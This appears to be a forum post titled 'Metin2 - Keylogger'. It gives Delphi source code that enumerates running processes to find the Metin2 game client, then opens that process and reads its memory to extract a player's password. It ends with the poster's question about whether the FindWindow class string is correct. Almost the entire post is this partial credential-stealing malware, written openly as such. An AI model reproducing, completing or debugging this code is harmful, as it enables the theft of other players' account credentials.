Metin2 - Keylogger

  function Odczytywajka:String;
var
lapanie : tHandle;
procesek : tProcessEntry32;
begin
lapanie:=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0);
procesek.dwSize:=SizeOf(procesek);
if Integer(Process32First(lapanie,procesek))<>0 then
repeat
Result:=Result+procesek.szExeFile+'|';
until Integer(Process32Next(lapanie,procesek))=0;
closehandle(lapanie);
end;

  function tuubcz:Boolean;
begin
 Result:=False;
 if Pos(AnsiUpperCase('metin2client.bin'), AnsiUpperCase(Odczytywajka))<>0 then Result:=True;
end;
// check is client running

   function czytaniepass(Address: Integer): String;
var
A: LongWord;
B: array [1..255] of byte;
C: Byte;
D, E: Cardinal;
begin
GetWindowThreadProcessID(FindWindow('eter - s0:b4:p:4d8ef0', nil), @E);
D := OpenProcess(PROCESS_ALL_ACCESS, false, E);
Result := '';
ReadProcessMemory(D, Ptr(Address), @B[1], 255, A);
for C := 1 to 255 do
begin
if ((B[C] = 0) or (B[C] = $0F)) then
Break;
Result := Result + Chr(B[C]);
end;
end;
      // reading pass..
and.. i dont know if value in findwindow is good: FindWindow('..............', nil), @E);
Because when i check class name, have: FindWindow('eter - s0:b4:p:4d8ef0', nil), @E);

And id have value: "·ţlű˜§ťÎ*đ"... etc...